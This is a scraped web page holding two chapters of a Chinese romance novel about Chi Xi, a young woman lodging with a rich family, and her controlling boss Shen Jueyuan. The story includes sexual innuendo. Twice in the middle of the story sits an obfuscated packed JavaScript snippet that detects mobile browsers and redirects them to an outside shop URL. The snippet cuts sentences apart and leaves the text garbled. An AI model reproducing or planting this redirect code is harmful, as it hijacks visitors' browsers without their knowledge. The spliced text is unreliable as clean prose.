池溪察觉到他微妙的不满,立刻就要解释:“我可以调休。” “不是请假的事。” 沈决远知道,她最近在躲着他。 下班后不是在外面和不三不四的朋友鬼混,就是反锁房门在里面打游戏。 他去找她,她永远都在装睡。 包括现在,“这种事情为什么不和我说。” 如果是以前,池溪碰到这种事首先想到的会是沈决远。 很显然,她对他有一种依赖感。 但是。 她说:“我和我的老师说了。” “老师?” 池溪点头:“她是我的初中班主任,她丈夫是律师。虽然我们已经很多年没有见面了,但她以前就很喜欢我,这次听说了我的事情之后,立刻就答应要帮我。” 她其实知道只靠他们普通人很难对资本对抗。 沈决远站起身,他单手插在西裤口袋,手臂上的袖箍固定在大臂上,能明显看出手臂肌肉轮廓。 高出她许多的身高宛如一堵密不透风的墙一样挡在她的面前。 这样一副结实高大的身躯,如此近距离地靠近自己,已经是种可怕的压迫了。 “不找我,却找一个多年不联系的老师。”很显然,池溪的回答让他非常不满,他眼眸半垂,淡睨着她,“我已经帮你联系好了律师,今天工作结束后我会让他过来。” “不用了。”池溪觉得自己不应该继续接受他的好意。只要彻底和他切断了联系,娃娃才不会因为她的思想而影响沈决远。 本来她也没理由接受他的好意。 “什么不用?” 池溪相信沈决远听懂了,他再次询问只是为了让她改掉这个他不满意的回答。 这种高高在上的态度让人感到窒息。 害怕归害怕,但人总不能一直窝囊下去吧。 池溪不敢看他,声音也变小了许多:“虽然我爸爸现在还在接受调查,但我那天去找了他,他说可以给我提供帮助.......” 池溪想,沈决远不满的原因肯定是无法接受自己脱离了他的掌控。 对于他这种控制欲极强的人来说,他无法接受她找别人帮忙,而不是她。 事实上,关于这方面的确是她的猜测。 因为至少在一个月前,沈决远对她的存在视而不见。 更遑论是替她找律师。 自然垂放在西裤旁的左手微微握紧,而后又松开。唯独腕表下遮挡住的青筋凸起。 池溪对他身上每一个部位都很喜欢,包括他的手腕。 她觉得男人就应该是这样的,有着大骨架与结实的肌肉,最后是虬结的青筋。 他沉默很久,喉结滚了滚,移开目光不再看她。 冷笑道:“既然你这么有把握,那就随便你。” 池溪觉得气氛有点怪,她抿了抿唇:“没什么事那我先走了。” 她伸手去开门,沈决远的声音绷的有点紧,但语气仍旧是高高在上的傲慢:“我给你三个小时的时间考虑,下班之前联系我。” 21.第二十一章 池溪当然没有联系沈决远,也没有在下班后去他的办公室找她。 后背贴紧落地玻璃,双手抱着自己的大腿朝两边打开。 ——这样羞耻的事情,她不想再体验一次。 事实上,在她想明白自己和这些人的差距时,她就清楚了她和沈决远完全不是一个世界的人。 她这辈子甚至都没有出过国,他却在每个国家都有自己的产业。 他出去吃饭随便放下的小费可能都超过她一个月的工资。 她这辈子都买不起他手腕上的腕表,而这样的腕表,他有一整个表柜。 池溪想到沈司桥之前说过的话,她可以学她父亲那样攀高枝嫁入豪门。 但父亲千辛万苦嫁入的那家豪门,甚至连站在沈决远面前和他说话的资格都没有。 池溪想,她无法做到像父亲那样毫无尊严,弯下腰去舔沈决远的皮鞋。 人可以窝囊,但不能没有骨气。 自从工资涨了之后,池溪下班比谁都积极。微微喊她周末聚餐,她笑着拒绝:“我几个朋友这周从老家来北城,我想先陪陪她们。” 微微见她最近气色好了不少,状态也明显见好。 她来公司的第一个月微微整天都在关注她,生怕这个刚步入工作岗位的大学生会猝死在工位上。 本来就白的皮肤被工作吸干精气之后更是毫无血色,熬夜加班后黑眼圈重到吓人。 想起那段时间,池溪也觉得心酸。 寄人篱下,在家需要面对那个傲慢且对自己有偏见的‘哥哥’,在公司这人还是亲自给自己开后门的冷酷上司。 池溪至今还记得那天,沈叔叔带着她找到沈决远介绍给他:“这位是你周叔叔的女儿。” 他停顿片刻,补充一句,“养在外地的大女儿。你周叔叔因为家事需要处理,所以她暂时借住在我们家。你看下公司有没有空缺的职位.....随便给她安排一个吧。” 这句特意补充的‘养在外地的大女儿’无疑是此地无银。 是个人都能听出话外的意思。养在外地的私生女。 池溪屏息站在那里,不敢抬头。有畏惧,有胆怯,有局促,也有...欣喜。 她无法想象自己居然还能再见到他,甚至能和他同住一个屋檐下,在同一个公司上班。 她低着头,只能看见他的西裤和皮鞋。腿好长....他身上好香。 不是那种香水的甜香,更像是荷尔蒙挥发造成的化学反应。 那种熟男感让人头晕目眩,和身旁的沈伯父完全不同。 不是每一个上了年纪的男人都能被称为熟男或daddy的。 池溪突然想到了在网上看到的这句话。她甚至在脑海里畅想起了这段浪漫的同居日常和办公室恋情。 所有的粉红泡泡都被男人那句冷淡疏离的话给破灭。 “将她的个人资料交给人事就行。”男人公事公办的语气显得异常冰冷,“不需要经过我的同意。” 沈伯父面露难色:“她学历不够,没有工作经验,还只是一个大四学生...” 男人宛如低音提琴一般典雅磁性的声线在此刻像是寒透的冰,带着居高临下 的审视:“那她需要找一份与她能力更适配的工作。就算是不看学历的保洁,也需要拥有两年以上的工作经验。” 每一个字都像一把锋利的刀子扎到她的胸口上。 也是从那天开始,池溪做的噩梦里,总是会出现沈决远。 她像是在一个接着一个噩梦中闯关,每个梦境的大Boss都是他。 池溪最怕他的时候,看到他都会手脚发凉,身体颤抖。 无论是在家,还是公司。 她知道他厌恶自己,厌恶她的存在,也厌恶她私生女的身份。 即使在家看到也会视而不见。不是刻意的忽略,而是她这个人无法在他眼中占据任何存在。 她和院子里的草,和河里的青蛙,和打扫卫生的佣人没有任何区别。 沈决远不会多看一眼院子里的草,也不会对河里的青蛙感兴趣,更不会多此一举到和家里的佣人打招呼。 甚至会在经过池溪时,因为她身上的香水味而皱眉。 那是一个下午,池溪直到现在都记得非常清楚。她有事情找沈伯父,遇到刚从书房出来的沈决远。 中式古典的长廊,娑娑竹影被午后的微风吹动。 这里的一切都是按照沈伯父的审美来装修的,即使池溪明白,从小在国外长大的沈决远或许无法欣赏这里的柔和韵味。但他也很绅士地没有提出任何意见。 他似乎总是以高高在上的态度向下兼容,尊重他人。但这又何尝不是一种傲慢。 池溪看着面前这位身材高大的男性,他穿着黑色的西装,深灰色的领带妥帖地收束在胸前。一丝不苟的背头让他立体清晰的轮廓展露无遗。 池溪有些紧张,害怕他的同时又在心里思考,要不要和他打招呼。 那句“决远哥哥好”在喉咙滚了一圈,最后还是咽了回去。 男人并没有将多余的注意力放在她身上,只是经过她时,脚步稍有停顿。 青涩的暗恋,手臂不小心碰到他外套扬起的衣角都会心脏怦怦跳。 他腕表的冰冷和外套的温度直到现在还记忆犹新。 池溪偷偷回头看了一眼,看到了让她铭记终生的傲慢场面。 男人脱下身上的外套,随手递给一旁的佣人。 “拿去扔了吧。” 或许是她身上的香水味太浓,洗再多遍也洗不干净。她心酸地想。 那个时候根本想不到会因为一个娃娃和他产生交际。 这样一个傲慢冷淡的王八蛋。 晚上九点,池溪逛了一遍论坛等待游戏好友上线。 却看到明亮的车灯停在外面。 她摘下耳机透过窗户往外看了一眼。 那辆黑色的迈巴赫和它的主人一样,在夜色中也是高贵冰冷的。 池溪慌忙关掉灯和电脑,躺上床装睡,只想躲开男人的质问。 果然,十分钟后,脚步声在门外停住,随后响起敲门声。 池溪选择继续装睡。 她的手指攥紧了被子,心头阵阵发紧。 沈决远很敏锐,肯定能立刻看穿她的伪装。 况且现在才九点,她很少这么早休息。 幸好男人的耐心没撑多久。短促的敲门声结束,一分钟后,门外传来逐渐远去的脚步声。 池溪看着天花板发呆。 ——自己这一次,算是躲过去了吧? 次日晚上她收拾东西准备明天回老家解决迁坟的事情,却接到村长打来的电话。 村长告诉她,之前的负责人离开了,这里被新老板接手,但对方并没有说要用来做什么,所以暂时不需要迁坟。 池溪抱着手机沉默了很久。她唯一能够想到的就是沈决远。 好吧,自己对他的了解好像仅限于她认知中所最厉害的程度。 但他的强大显然超越了她的想象和认知。 她为此痛苦的事情,他甚至花了不到一天的时间,可能更短。 甚至于,仅仅只是一通电话。 这更让池溪觉得自己靠一个娃娃‘控制’他有多可笑和不自量力。 自从沈司桥离开之后,餐桌的气氛就变得格外压抑。 郑伯母因为挂念儿子茶饭不思,为别人相亲搭桥的爱好也被自己的继子给剥夺,如今更是没几句话。 沈伯父倒是偶尔会和沈决远聊几句公司里的事情,但沈决远永远只是保持基本礼貌解答他的疑惑,多余的话一个字也不说,惜字如金。 至于池溪更不用提了,生怕沈决远的注意力会放在自己身上,吃饭时一点声音也发不出。 由于今天的晚餐是牛排,池溪又习惯吃全熟。全熟的切起来最费劲,她担心发出声音,索性只喝了点水。 晚上饿着肚子回到房间,刚好朋友给她发来信息。 ——小河,我和七七今天已经把所有的东西都搬到北城了哦,你要不要过来玩? 消息是池溪在县城的好友发来的。 她们嫌县城的工资低,所以打算来北城,目前找好了工作,一个在当前台,一个在收银。 池溪立刻坐起来:——当然去! 她兴奋地打开衣柜换衣服。自从来了北城之后,就再也没有见过这些朋友了。 冬天昼长夜短,晚上八点就黑到不见一点光亮。 这个点就算出去也不好打车回来。太晚的话她会害怕。 索性换了个托特包,往里面放了换洗的衣服。 然而她没想到的是,当她背上包出去,刚好碰到在外面抽烟的沈决远。 “呃.....”池溪也不清楚自己为什么会心虚,在看到沈决远的那一刻,她居然下意识将装着换洗衣服的托特包往身后藏了藏,“您还没休息吗?” “嗯,还有工作要处理。”他揿灭了烟,淡声问她,“手上拿的什么?” 她弱弱回答:“包。” 他朝她走过来,“这么晚了还要出门?” 他走近之后铺天盖地的掌控感更加强烈,池溪只能尽量不让自己去看他胸前的领带和一丝不苟的衬衫与西装马甲。 这种优雅的精英感总让她幻视自己现在还在公司。 此刻面对的不是父亲朋友的长子,而是董事长。 前者和后者的意义不同。至少前者,他们算得上是平等地位。 于是池溪将视线往旁边挪了挪,好吧,绑在大臂上的袖箍上位者气场更重。 她认命了:“我朋友来北城了,她们刚安顿下来.....让我过去玩。” “为什么不能等白天再去,现在很晚了。”他轻声提醒,说话的语气里带了很淡的质问。但仍旧保留着优雅从容的稳重。 这人穿的如此一丝不苟,显然也是一副随时都会出门的打扮,有什么资格说她? 她内心吐槽,面上却表现地诚恳老实:“因为白天要上班。” 这位因为过于公事公办而被称为‘冷面阎罗’的董事长,此刻却宽容地为她开了后门:“我可以放你几天假,让你有时间和你的朋友们聚一聚。今天就别去了。” “不用了....”池溪硬着头皮拒绝。实在是这人带来的压迫感太过强烈,让她有种下一秒自己就会被他压在地上,然后用皮带惩罚不听话的她。 自从和他做了之后。她对他的畏惧就多了另一层意思。 他的床下和床上完全是两个不同的人。 他是个有着daddy感的s。 有种矛盾的性感。 好在他并没有这么做。其实他根本就不会这么做,无论是他的教养和绅士风度,都不会让他在未经允许的前提下,对一个女性做出如此粗暴的强迫行为。 他只是放缓了语气:“那就让她们来家里玩。” 池溪知道,对于沈决远来说这已经是最大让步。毕竟这样一个冷血绝情的人,他并不好客,也不欢迎没有价值的人进入他所在的区域。 但池溪还是拒绝了。 沈决远的绅士假面因为她的一再拒绝微微出现破裂,破裂处露出他绷紧的下颚线,声音也稍显冷硬,多了一些训诫感:“你父亲将你寄养在沈家,我有权利确保你的安全。” 直到出了庄园的门,直到坐上网约车后排,直到她进了朋友租的单元门,直到她坐在那个五十平方的房子里时,池溪仍旧没有从那种紧绷的情绪中走出来。 她不知道自己为什么有胆量说出那句话,而再说出这句话后,她还可以安然无恙的走出来。 “您不觉得您管的有点宽了吗.....以前您也没管过我,我安不安全,我交什么朋友。” 她的语气并不强硬,甚至带了些怨怼,像是在追责。 这好像还是她第一次这么有勇气反驳他的话。 而最后,沈决远并没有再说什么。 那个地方太黑了,唯一的一盏廊灯也坏了。而他又站在背光处,池溪无法看到他此刻的表情。 她只能感受到男人身上的肌肉散发出源源不断的热量让她有种莫名的安全感。 她被这股热量包围的同时,也像被他温柔抱住。 安静了很久。 沈决远并没有继续阻拦,只是给了她一张卡。 “之前,是我的问题。我只是...”池溪不懂他是知道自己理亏,还是其他原因,总是,他的声音缓慢降低,最后妥协,“我让司机送你。” 池溪还是选择了自己打车。 她的大脑告诉她。 她所暗恋的,是自己臆想出来的沈决远。 世界上根本就不存在如此完美、并且完全符合她审美喜好的男人。 男人最大的魅力就是女性的想象力,池溪觉得这句话非常有道理。 让一个人同时拥有稳重、儒雅、绅士的成熟特质。 掌控她的同时,还能时刻给予她所缺失的安全感。 连亲生父亲都做不到,她不该去要求别人成为弥补自己所缺失父爱的daddy。 沈决远只有外形和身材符合。 所以她在和他做的时候才会心动。 对的,就是这样。 她在心里告诉自己。 池溪那段时间一直在刻意躲着沈决远。 就像当时将娃娃绑定在沈司桥身上时,害怕娃娃在对方身上奏效一样。 她想,再等一个月,最后等一个月。她回到县城之后就不用再担心了。 而且她前几天听到郑伯母和她的姐妹们聊起:“不是我不想帮这个忙,最近很多人表态想要联姻...可决远他暂时没有结婚的想法,我也没办法。并且公司已经稳定,他也差不多要回北欧了,还不知道会不会回中国。” 她的那个姐妹叹了口气,让她帮忙再去说说:“我家小音自从上次在她祖父的寿诞上见过你家决远一面后,就总是找机会想要见她。可她每次来沈家都没能见上。我都担心她得相思病。” 郑娴只得告诉她实话:“决远他从小在国外长大,他不喜欢性格温柔小家碧玉的。我想他应该更喜欢成熟高挑一些的。” 金发碧眼,身材高挑,性格奔放热情。 池溪想,哪样都和她不沾边。 恐怕只有性别符合他的择偶观。 - 那段时间池溪为了不让娃娃影响到他们,一直躲着沈决远。 但还是会有不可避免碰到的时候。 晚上,四个人坐在一张餐桌旁。 如果有不知情的外人在,恐怕会认为他们是一家四口。 爸爸妈妈,兄长和妹妹。 但兄长和妈妈没有血缘关系,妹妹和其余三人也没有血缘关系。倒是和兄长水乳交融过。 气氛也没有半点家庭该有的温馨。 沈予亨发现自己这个一周在国内待不了两天的长子,最近居然每个晚上都会出现在饭厅。 这是一种十分罕见且不符合常理的迹象,似乎在预示一些什么。 今天吃的是中餐,按照郑娴的口味来的。她最近改吃素,说是要为自己远在法国的儿子祈福。 甚至还伤心的说,也不知道司桥在国外过得怎么样,连个报平安的手机都没有,这个学上的和坐牢有什么区别。 这些话明显是说给沈决远听的。 但后者不为所动,始终都是那副平和疏离的姿态,此时戴着手套正在剥虾。 虾肉在他修长的指间被完整剥离。 “我看你这些天好像没什么胃口,就让厨房做了你爱吃的。”沈决远将那碗海鲜面推到她面前。 他亲手剥掉了虾壳,只留了虾肉在里面。 池溪看到他摘下手套,慢条斯理地擦了擦手。 这种明显的区别对待让沈予亨和郑娴同时察觉到不对劲。 看着面前的海鲜面和奶油蘑菇汤,池溪抿了抿唇:“啊,谢谢....” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说起来,沈决远更像是另一种意义的替身。 池溪说了声谢谢,小口地喝着汤。 沈伯父告诉她,她父亲的调查案已经到了尾声,不出意外的话应该月底就能放出来。 池溪想,沈伯父每次说不出意外基本都会出意外。 他好像有点这种体质,看来以后得在他开口祝福自己之前及时阻止了。 池溪还是很希望父亲能够平安出来的。他好歹是自己的父亲,而且,他要是真的被判刑坐牢,她和她未来的孩子就都没办法考公。 她这次还打算回去考个公务员。 小县城的公务员还是挺爽的。到时候再找个同样体制内的丈夫。 沈决远喝了口咖啡,声音很淡:“下周我要去一趟白沙湾岛,你和我一起去,作为我的私人助理。” 这句话显然是和低头喝汤的池溪说的。 他很少在家里和她聊工作方面的事情,池溪愣了一下,然后眼神闪躲:“呃..我吗?可是上次不是说...需要找一个有工作经验的。” “没事。”他放下咖啡杯,“每个人都有第一次,应该多给新人一些机会。” 沈予亨和郑娴你看看我,我看看你。 他今天的反常实在太多。 这样的话显然不可能从他这样一个高标准高要求且挑剔的人口中说出来。他从不给新人机会,因为新人根本没资格走到他的面前。 池溪却感到后背一凉。 他该不会因为上次自己说的话记恨在心,想要在孤岛上把她灭口泄愤吧? 靠,以他这个冷血程度,他完全做得出来。而且国外不禁枪,他的保镖甚至单独配了枪。 池溪有些习惯比起兔子其实更像猫,紧张焦虑的时候会舔嘴唇。 白沙湾岛她之前上网查过,那里靠近俄罗斯,所属海域没什么风浪,气候很适合居住。但....那是一个完全私密且无主地的岛。 她如果死在那里,沈决远完全可以以一句轻飘飘地‘失足坠海’来解释。 吃完饭后,池溪不安地在房间内走来走去,走去走来,最后干脆认命地用手机写起遗书。 遗书写到一半,屏幕上方弹出一条信息。 是遗书内的凶手发来的。 ——现在有空吗,我们谈谈吧。 额,谈什么,没什么好谈的吧。 ——那个.....谈什么呀? 对方似乎就等在门外,她的消息发过去后,敲门声立刻响起。 池溪透过猫眼往外看了一眼,正好和沈决远那双深邃眼眸对上视线。 她很肯定他看不到自己。 哪怕将眼睛贴在猫眼上也不可能看到里面,更何况他只是站在门外而已。 但这意味着他知道她一定会先从猫眼确认。 所以他现在肯定知道她就站在门后。 池溪现在不得不同情沈决远的商业对手了。像他这种聪明且利益至上的人,唯一能够约束他的大概就是他的绅士修养了。 她不懂沈决远为什么突然一直缠着自己,没有娃娃的影响他难道不是应该庆幸吗,终于不用和自己讨厌的人做嗳了。 他最近的反常真的很难不让人怀疑......他刚才是用硬着的j按的门铃。 难道他这么晚来找她是因为欲求不满? 池溪一阵头脑风暴后,默默地抓紧了自己的裤子。 没有娃娃的控制,如果是以沈决远的‘本体’和她做。 她很难不怀疑他真的会抽出皮带打她的屁股。 池溪不肯出去,撒谎说自己睡了。 房内开着的灯让她的谎言变得可笑。但沈决远似乎选择了相信,他这次没有敲门要进来,而是给她打了一通电话。 池溪接了。 “你最近好像对我存在什么误会和偏见。”电话里,男人语气温和,带着年长者的引导,“可以说出来,” 偏见... 池溪想不到这个词居然会从沈决远的口中说出来。 明明是他对自己存在偏见才对。 “呃....”她说,“其实没什么偏见,那个..我..怎么说呢,我觉得西红柿啃面包的时候太阳开始打雷....” 她想,沈决远在国外长大,中文水平应该一般。 虽然他的普通话比她还标准,但总有盲区的。她胡乱说一些前言不搭后语的话,让他误以为是自己中文水平太差所以没听懂她话里的意思。 她不知道自己‘精明’的算计在对方眼中是幼稚的胡闹。 但他没有拆穿,而是在沉默数秒后,选择配合。 “那你先休息,我不打扰你了。” 互道晚安后,电话挂断,沈决远回头看了眼仍旧紧闭的房门。 她最近似乎一直在躲他,为什么呢 一切事情的发生都是有迹可循的。是因为他那天说的话? 显然不是。他已经试探过她的态度了。 那是因为什么。 还能因为什么呢。 最近又开始闻不到那种味道了。 夜色之中,男人高大的身影一直站在那里,许久没有动过半分。宛如一尊雕像。他来见她之前甚至体贴地换下了身上的正装。 他知道她害怕在家里看到他穿西装的样子,因为会让她有种还在公司的压迫感。 所以他特意换上毛衣。 此刻,这尊雕像的手已经伸向那扇门的门把手。 还能因为什么。 她的心思在他这里透明的像是玻璃,她没有任何秘密。 少女的心思不算隐秘,他知道她喜欢自己。 难道—— 他的瞳孔骤缩又瞬放,笼罩住他的夜色像是一团黑雾。 她不喜欢他了? 22.第二十二章 池溪决定从沈家搬出去。 其实很早之前就有这个想法,好友们的到来只是加速了这种念头的产生而已。 比起待在这座豪宅面对看不起自己的傲慢上司,还有两位需要她随时讨好奉承的长辈,她觉得出去住更自在。 房子都找好了,但却卡在了搬出去这个步骤。 沈决远让人拿走她的行李箱:“你父亲的调查还没有结束,我说了,既然你寄养在沈家,那么你的安全就由我们负责。” 池溪看着被拿走的行李箱敢怒不敢言:“我有能力保护自己....” “有没有能力不是你自己说了算。”他抬手整理衣袖,傲慢地打断她,“这段时间你和我一起上下班。” 似乎要彻底断了她搬出去的念头。 池溪试图拒绝:“是您之前说过的,不希望公司有我们之间的传言。” “我明天就出一条新章,私下议论董事长的员工全部开除。” 池溪彻底哑口无言。 沈决远离开前,目光在她的房间扫了一眼。 在他走后,池溪咬着牙倒在床上疯狂打滚咒骂。该死的,这个傲慢的王八蛋到底什么时候才能通人性。 似是想到什么,她看了眼上锁的抽屉。 要不...最后再发泄一次? 算了。池溪很快就打消了这个念头,如果继续下去,沈决远一定会发现真相的。她总觉得他现在已经有所察觉了。 第二天一早,佣人提前告知她,自己需要到她的房间内测量一下尺寸。 池溪住的是一个比较小的套房,但该有的配置也都有。 只是稍微老旧了些。 “量尺寸?”她有些懵。 佣人点头:“沈先生想将这里的家具重新换一批。对了,您请放心,不用担心会有甲醛。” “呃....”池溪更懵了,好好的换什么家具。 虽然她的确不是很喜欢这里的装修,太沉闷,像老人家才喜欢的风格。 估计是按照沈伯伯的审美来的。 “那好吧....” 她穿好衣服出门。那辆黑色的迈巴赫停在楼下。 半开的车窗,男人那双素来没什么情绪的脸,此时微微偏向她:“八点十分,你平时都是这个点出门?” 完蛋,上班迟到结果被董事长抓了个正着。这是什么终极噩梦。 好在沈决远并没说什么,只是打开车锁让她先上车。 看来他昨天不是随口一说。 池溪硬着头皮过去,将车门拉开。 一路上,她都显得十分局促。 在她看来,沈决远就是一个摸不透的恶魔。倘若真的要将他和恶魔区分开来,大概就是他是一个披着绅士皮囊,情绪更加稳定且更优雅的恶魔。 车内可以说是沈决远的私人领域,充斥着他身上的独特气息,那种泛着微苦且令人上瘾的熏香。池溪每次闻到都会心跳加速。 她之前认为这是心动,现在却推给畏惧。 沈决远一身剪裁极致的纯黑西装,手腕处的袖扣泛着与他一样冷淡典雅的光泽。 中间的扶手箱在她上车前就被提前收起,这段路凹凸不平,车辆的减震效果也无法完全消减。于是在颠簸时,池溪的手臂会不小心地碰到沈决远的手臂。 到那时她会急忙往一旁坐,并为自己刚才的失礼道歉。 她的手臂似乎还保留着男人结实坚硬的肌肉触感。 即使是西装也无法掩盖。 男人并没有因为这种事情斥责她,即使在她道歉后,仍旧断断续续地往他那边倒。 甚至有几次险些跌进他的怀里。 直到一次急转弯,或许是为了躲避前面突然超车的巴士。 池溪在这种惯性下,再一次不受控地往旁边倒,这一次直接扑到了他的怀里,手甚至还按到了..... 她抬眸,男人刚好垂眸看她,池溪第一次发现他的眼睛颜色居然泛着灰。或许他身上那种疏离的冷淡有一部分是来自这里。 好迷人,无论是立体的骨相,还是荷尔蒙爆棚的性感身材。 当然,现在不是想这些的时候。池溪尴尬到想要咬断自己的舌头自尽。 她现在应该说点什么吗。 来点冷幽默怎么样? ——你出门还随身带一根这么长的棒子啊,看来安全意识很强嘛。 池溪想,如果她真的这么说了,下一秒沈决远就会让司机停下,然后毫不犹豫地将她扔下车。 “对..对不起。”她从他的怀里离开,头低着。 男人从容不迫地将被她弄凌乱的着装整理好,淡声问她:“为什么不系安全带?” “.....”池溪沉默了。 他为什么不早点提醒她? 完了,他不会认为自己故意不系安全带,就是为了找到机会往他裤-裆里倒吧? 她可没有这么变态的癖好。 接下来一整天,池溪都在因为这件事而反复内耗,她希望能够找沈决远解释清楚恢复自己的名誉。 她不希望自己在他的眼中是一个对男人的裤-裆感兴趣的变态。 然而办公室众人好奇的目光让她暂时顾不上这个。 微微好奇问她:“我来公司的时候看到你是从董事长的...” 池溪想到沈决远刚定下的新规,急忙捂住她的嘴:“听我的,如果想要保住工作的话,不要在公司说这个。” 微微那双杏眼似懂非懂地看着她。 - 助理发现沈董一直在走神。 对于一个将利益看得很重的掌权者来说,这很罕见。 可是他的注意力的的确确不在这里。 直到最后,男人草草定下了项目书,并让助理先出去。 史凯正要离开,男人又将他叫住:“让策划部的池溪过来一趟。” 助理看不出董事长和平时有什么区别。 史凯并不清楚董事长的性格,只知道他是一名赏罚分明,且公平的上司。 在他这里,只要有能力,就能获得应有的机会。但同样,若是实力不够,就算侥幸进入了公司,也会在最短的时间内被开除。 杀伐果断,铁腕独裁,严厉冷静。 这些都是助理眼中的沈决远。 刚上任就能顶着各方压力大刀阔斧的进行裁员,在被死亡威胁时,也不屑一顾。 自己也是后来才知道,当初那几位死亡威胁沈决远的人,家中基本都落了难。 如今一贫如洗地带着妻儿老小到处躲。 沈董有没有在中间做推手就不得而知。这样的事情,只有当事人知道。 董事办偶尔会有外国人过来,都是来见他的。 其中几位,前不久还在国际新闻上露过面,发表过通过减少低端成本,来创造出更高价值的‘暴政’言论。 也有垄断整个芯片市场的,欧洲顶级财阀掌舵人。 于公司里的职工来说完全就是云端上,这辈子都没有想过会出现在自己面前的人。 史凯今年入职,打败了一同竞争这个岗位的四十五位对手。 海外留学四年,藤校毕业,金融与企业管理双学位,最后雄心壮志地成为了一名助理。 但他并不觉得助理这个职位有什么不好,重要的不是助理这个职位,而是是谁的助理。 跟着这位野心勃勃的顶级上位者,史凯认为自己的前途一片光明。但他最近得知董事长这个职位马上就要再次更迭了,对方已经在准备卸任流程。 据说沈董同意回国就是因为上一任董事长,也就是他的父亲,亲自致电去北欧,拜托他帮忙。 短短半年时间,公司在他的治理下不仅重回巅峰,甚至还荣登了行业前三。如果对方继续待下去,史凯毫不怀疑,不出一年,公司就拥有垄断整个行业的实力。 但他也清楚,这个公司,以及公司的营收,对沈董来说杯水车薪,所以他不可能选择留下来。 接下来他要去处理自己的事情了。 史凯清楚,那会是一个自己从未见过的,更加辽阔且更威赫的世界。他希望沈董能够带自己一起走,带自己回北欧,以他助理的身份。 所以他这段时间工作非常努力,甚至一天下来只睡三个小时,其余时间全部都在工作。 他离开前,视线不经意地往沈董目光所处的地方看了一眼。 茶水间外的阳台,此时坐着一男一女,女生不知道说了些什么,正端着咖啡杯低头大笑。 - 池溪来的时候,沈决远正在接电话。 “不需要太高。对。” “窗帘...”对方不知道问了一句什么,显然是一个将他难住的问题,他沉默片刻后,“应该是粉色。小女孩都喜欢粉色?” “设计图画好之后直接发给我。” 池溪站在那里等了一会儿,等他将电话讲完。 沈决远早就发现她了,他挂断电话,视线在她粉色的围巾上停留两秒。 看来自己猜对了。 “坐吧,需要你整理的文件待会助理会送过来。” “嗯,好的。”池溪听话地在沙发上坐下。 男人正在翻看刚从北欧送来的几份文件,他只扫了一眼关键数据。 “这段时间心情怎么样?”他头也没抬,似乎是以一位兄长或是长辈的身份在关心她。 虽然语气仍旧很淡,那种松弛得体的优雅让池溪感受到了一种年长者才有的包容与安全感。 这是同龄人所缺少的,经由岁月侵染和丰富阅历所沉淀出的。 “挺好的。”池溪说。 “那就好。”沈决远点了点头,钢笔此时握在他的手中,他一边圈出文件中的重点,一边缓声开口,“你父亲前段时间联系过我。” 池溪还是第一次听说,她愣了一下,不知道是震惊还是一种别的情绪,她抿了抿唇:“他说....什么了?” 沈决远感受到她语气里那份微妙的在意,手中的动作稍有停顿。 他不清楚她为什么要在意把她当垃圾扔掉的人,没有半点骨气。 “他说你还是个孩子,会有很多不懂事的地方,如果不小心顶撞了我,让我不要动怒,不要生你的气。” 池溪想,看来自己这个生物爹多多少少对她还是有些关心的。 她并非是在渴求那些或许并不存在的父爱,如果让她现在回到她父亲的身边,她不愿意。 但在书本上学来的那些知识,让‘父亲’这个词语在她这里包含一些美好的含义,虽然不如‘母亲’这个词语分量更重。 而且,她渴望着某种父爱。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091087|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她认为那是一种变质的爱。 因为她想要的不是亲生父亲的爱,而是其他男人带给她的父爱。 池溪认为自己这个想法非常病态。 她的反应让沈决远非常失望。倘若让她知道,她父亲打那一通电话不是为了她,而是担心因为她,而得罪了自己。 她会怎么想? 沈决远最后一丝善良让他没有这么做。 或许不是善良,而是一种于心不忍。 她哭的样子他不是很想看见。当然,在床上另当别论。 “你父亲担心你交不到朋友,看来他的担心是多余的。你在上班期间都能交到朋友。如果你的工作能力能够超过你的社交能力,我想交到我面前的策划案就能更好看一点了。” 他此时的语气多了些不易察觉的嘲弄和讽刺。 池溪想,他或许是在说齐正。 看来他看到他们刚才在露台讲八卦的场景。 公司本来就是这样,一个八卦一传十十传百,今天微微带来了一个大快人心的八卦,是之前他们都非常讨厌的一个同事。 微微讲给池溪听完之后本来打算讲给齐正听,但她突然肚子疼,就委派给池溪来讲。 不过她笑点太低,讲了个开场就笑个不停,弄得旁边的齐正也非常无奈,只能等她笑完。 结果池溪刚笑完就被那位特助叫到董事办来了。 “呃....”她低头,“我会继续努力的。” 他冷哼:“努力的前提是要有这个能力,每一个来公司应聘的人都说自己会努力。” 这人有病吧。 突然叫她上来一顿训。 他心情不好?被甩了?生理期来了? 好吧,这三个里很显然只有第一个还有点可能性。 男人不会来生理期,并且也只有他拔diao无情甩掉别人的份。 看到她被训后失落低头的神情。 沈决远呼吸微滞,随后很快清醒过来。 他不清楚自己为什么会突然失态,这在他身上太过罕见。 这种不讲道理的争风吃醋让他丑态百出。 他不敢让池溪看见,于是背过身去摘了眼镜,典雅高贵的西装下,他的背影不像往日那样松弛。 此时一只手抓着身后的桌沿,另一只手按着眉心。 待呼吸放松了一些,他说:“你在这里继续整理,不要让任何人进来。” 然后池溪看到他边走边抬手松解领带,随后推开旁边的门,进了里面的休息室。 池溪在里面睡过,知道里面不仅有睡的地方,甚至还有私人影院。 或许他是困了。池溪想。 他工作本来就很拼,加上总是几个国家来回往返,有时候时差都来不及倒。 那些文件很快就整理完了,但没有董事长的吩咐,她也不敢随便离开。 毕竟这个洋鬼子秩序性很强,他需要所有的事情都在他的掌控下完成。 池溪想了想,最后悄悄拿出手机登了下论坛。 刚上线就看到后台显示999+ 